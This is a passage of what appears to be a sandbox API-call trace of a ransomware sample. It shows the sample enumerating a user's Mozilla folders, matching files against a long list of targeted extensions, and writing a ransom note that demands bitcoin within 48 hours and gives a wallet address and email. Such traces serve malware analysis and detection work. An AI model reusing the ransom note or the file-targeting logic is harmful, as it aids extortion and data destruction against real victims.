(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.ppt") returned 0 [0086.346] lstrlenA (lpString="*.ppt") returned 5 [0086.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.pptx") returned 0 [0086.346] lstrlenA (lpString="*.pptx") returned 6 [0086.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.doc") returned 0 [0086.346] lstrlenA (lpString="*.doc") returned 5 [0086.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.dot") returned 0 [0086.346] lstrlenA (lpString="*.dot") returned 5 [0086.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.docx") returned 0 [0086.346] lstrlenA (lpString="*.docx") returned 6 [0086.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.7z") returned 0 [0086.347] lstrlenA (lpString="*.7z") returned 4 [0086.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.tar") returned 0 [0086.347] lstrlenA (lpString="*.tar") returned 5 [0086.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.bz2") returned 0 [0086.347] lstrlenA (lpString="*.bz2") returned 5 [0086.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.gz") returned 0 [0086.347] lstrlenA (lpString="*.gz") returned 4 [0086.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.mkv") returned 0 [0086.347] lstrlenA (lpString="*.mkv") returned 5 [0086.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.eml") returned 0 [0086.347] lstrlenA (lpString="*.eml") returned 5 [0086.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.msg") returned 0 [0086.347] lstrlenA (lpString="*.msg") returned 5 [0086.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.edb") returned 0 [0086.347] lstrlenA (lpString="*.edb") returned 5 [0086.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.accdb") returned 0 [0086.347] lstrlenA (lpString="*.accdb") returned 7 [0086.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.odb") returned 0 [0086.347] lstrlenA (lpString="*.odb") returned 5 [0086.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.java") returned 0 [0086.347] lstrlenA (lpString="*.java") returned 6 [0086.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.asm") returned 0 [0086.347] lstrlenA (lpString="*.asm") returned 5 [0086.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.pfx") returned 0 [0086.347] lstrlenA (lpString="*.pfx") returned 5 [0086.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.pem") returned 0 [0086.348] lstrlenA (lpString="*.pem") returned 5 [0086.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.p12") returned 0 [0086.348] lstrlenA (lpString="*.p12") returned 5 [0086.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.gpg") returned 0 [0086.348] lstrlenA (lpString="*.gpg") returned 5 [0086.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.vsd") returned 0 [0086.348] lstrlenA (lpString="*.vsd") returned 5 [0086.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.odg") returned 0 [0086.348] lstrlenA (lpString="*.odg") returned 5 [0086.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.raw") returned 0 [0086.348] lstrlenA (lpString="*.raw") returned 5 [0086.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.nef") returned 0 [0086.348] lstrlenA (lpString="*.nef") returned 5 [0086.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.svg") returned 0 [0086.348] lstrlenA (lpString="*.svg") returned 5 [0086.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.psd") returned 0 [0086.348] lstrlenA (lpString="*.psd") returned 5 [0086.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.vmx") returned 0 [0086.348] lstrlenA (lpString="*.vmx") returned 5 [0086.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.vmdk") returned 0 [0086.348] lstrlenA (lpString="*.vmdk") returned 6 [0086.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.vdi") returned 0 [0086.348] lstrlenA (lpString="*.vdi") returned 5 [0086.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.lay6") returned 0 [0086.348] lstrlenA (lpString="*.lay6") returned 6 [0086.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.mpeg") returned 0 [0086.349] lstrlenA (lpString="*.mpeg") returned 6 [0086.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.djvu") returned 0 [0086.349] lstrlenA (lpString="*.djvu") returned 6 [0086.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.tiff") returned 0 [0086.349] lstrlenA (lpString="*.tiff") returned 6 [0086.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.backup") returned 0 [0086.349] lstrlenA (lpString="*.backup") returned 8 [0086.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.pdf") returned 0 [0086.349] lstrlenA (lpString="*.pdf") returned 5 [0086.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.cert") returned 0 [0086.349] lstrlenA (lpString="*.cert") returned 6 [0086.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.docm") returned 0 [0086.349] lstrlenA (lpString="*.docm") returned 6 [0086.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.xlsm") returned 0 [0086.349] lstrlenA (lpString="*.xlsm") returned 6 [0086.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.dwg") returned 0 [0086.349] lstrlenA (lpString="*.dwg") returned 5 [0086.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.nd") returned 0 [0086.349] lstrlenA (lpString="*.nd") returned 4 [0086.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.tlg") returned 0 [0086.349] lstrlenA (lpString="*.tlg") returned 5 [0086.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.lgb") returned 0 [0086.349] lstrlenA (lpString="*.lgb") returned 5 [0086.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.mov") returned 0 [0086.349] lstrlenA (lpString="*.mov") returned 5 [0086.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.xdw") returned 0 [0086.350] lstrlenA (lpString="*.xdw") returned 5 [0086.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.ods") returned 0 [0086.350] lstrlenA (lpString="*.ods") returned 5 [0086.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.wav") returned 0 [0086.350] lstrlenA (lpString="*.wav") returned 5 [0086.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.mp3") returned 0 [0086.350] lstrlenA (lpString="*.mp3") returned 5 [0086.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.aiff") returned 0 [0086.350] lstrlenA (lpString="*.aiff") returned 6 [0086.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.flac") returned 0 [0086.350] lstrlenA (lpString="*.flac") returned 6 [0086.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.m4a") returned 0 [0086.350] lstrlenA (lpString="*.m4a") returned 5 [0086.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_", pszSpec="*.csv") returned 0 [0086.350] lstrlenA (lpString="*.csv") returned 5 [0086.350] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x853a9e10, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x5014f8, dwReserved1=0x52d540, cFileName="_CACHE_CLEAN_", cAlternateFileName="_CACHE~1")) returned 0 [0086.350] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0086.350] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826e2030, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826e2030, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 0 [0086.350] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0086.350] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0086.350] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0086.350] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690046, dwReserved1=0x650072, cFileName="updates", cAlternateFileName="")) returned 1 [0086.350] lstrcmpA (lpString1=".", lpString2="updates") returned -1 [0086.351] lstrcmpA (lpString1="..", lpString2="updates") returned -1 [0086.351] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\*.*") returned="*.*" [0086.351] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\", lpString2="updates" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates" [0086.351] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates") returned 59 [0086.351] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x66006f, cFileName=".", cAlternateFileName="")) returned 0x502658 [0086.351] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.351] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x660000, cFileName="..", cAlternateFileName="")) returned 1 [0086.351] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.351] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.351] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="E7CF176E110C211B", cAlternateFileName="E7CF17~1")) returned 1 [0086.351] lstrcmpA (lpString1=".", lpString2="E7CF176E110C211B") returned -1 [0086.351] lstrcmpA (lpString1="..", lpString2="E7CF176E110C211B") returned -1 [0086.351] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\*.*") returned="*.*" [0086.351] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\", lpString2="E7CF176E110C211B" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B" [0086.351] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B") returned 76 [0086.351] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0086.354] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.354] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.354] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.354] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.354] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80a2b6d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="active-update.xml", cAlternateFileName="ACTIVE~1.XML")) returned 1 [0086.354] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.354] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="active-update.xml") returned 1 [0086.354] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="active-update.xml") returned 1 [0086.354] lstrcmpiA (lpString1="", lpString2="active-update.xml") returned -1 [0086.354] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\*.*") returned="*.*" [0086.354] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\" [0086.354] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\") returned="" [0086.354] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\HOW TO DECRYPT FILES.txt" [0086.354] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\how to decrypt files.txt")) returned 0xffffffff [0086.355] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0086.356] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0086.356] WriteFile (in: hFile=0x98, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0086.357] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.357] CloseHandle (hObject=0x98) returned 1 [0086.357] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\", lpString2="active-update.xml" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml" [0086.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.ems") returned 0 [0086.357] lstrlenA (lpString="*.ems") returned 5 [0086.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.db") returned 0 [0086.357] lstrlenA (lpString="*.db") returned 4 [0086.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.dbf") returned 0 [0086.357] lstrlenA (lpString="*.dbf") returned 5 [0086.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.myox") returned 0 [0086.357] lstrlenA (lpString="*.myox") returned 6 [0086.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.myo") returned 0 [0086.358] lstrlenA (lpString="*.myo") returned 5 [0086.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", pszSpec="*.qbw") returned 0 [0086.358] lstrlenA (lpString="*.qbw") returned 5 [0086.358] PathMatchSpecA 